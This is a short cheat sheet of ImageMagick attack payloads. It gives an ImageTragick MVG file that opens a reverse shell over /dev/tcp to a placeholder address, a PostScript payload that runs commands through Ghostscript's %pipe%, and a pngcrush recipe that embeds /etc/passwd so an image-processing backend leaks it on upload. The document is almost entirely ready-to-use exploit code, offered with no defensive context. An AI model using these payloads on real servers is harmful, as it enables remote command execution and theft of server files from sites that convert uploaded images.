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ImageMagick Exploits

ImageTragik Exploit v1

Simple reverse shell

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context

ImageTragik Exploit v2

Simple id payload

userdict /setpagedevice undef
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

then use convert shellexec.jpeg whatever.gif


Information Disclosure: embedded the content of an arbitrary remote file

  • Generate the payload
    apt-get install pngcrush imagemagick exiftool exiv2 -y
    pngcrush -text a "profile" "/etc/passwd" exploit.png
  • Trigger the exploit by uploading the file. The backend might use something like convert pngout.png pngconverted.png
  • Download the converted picture and inspect its content with: identify -verbose pngconverted.png
  • Convert the exfiltrated data: python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'

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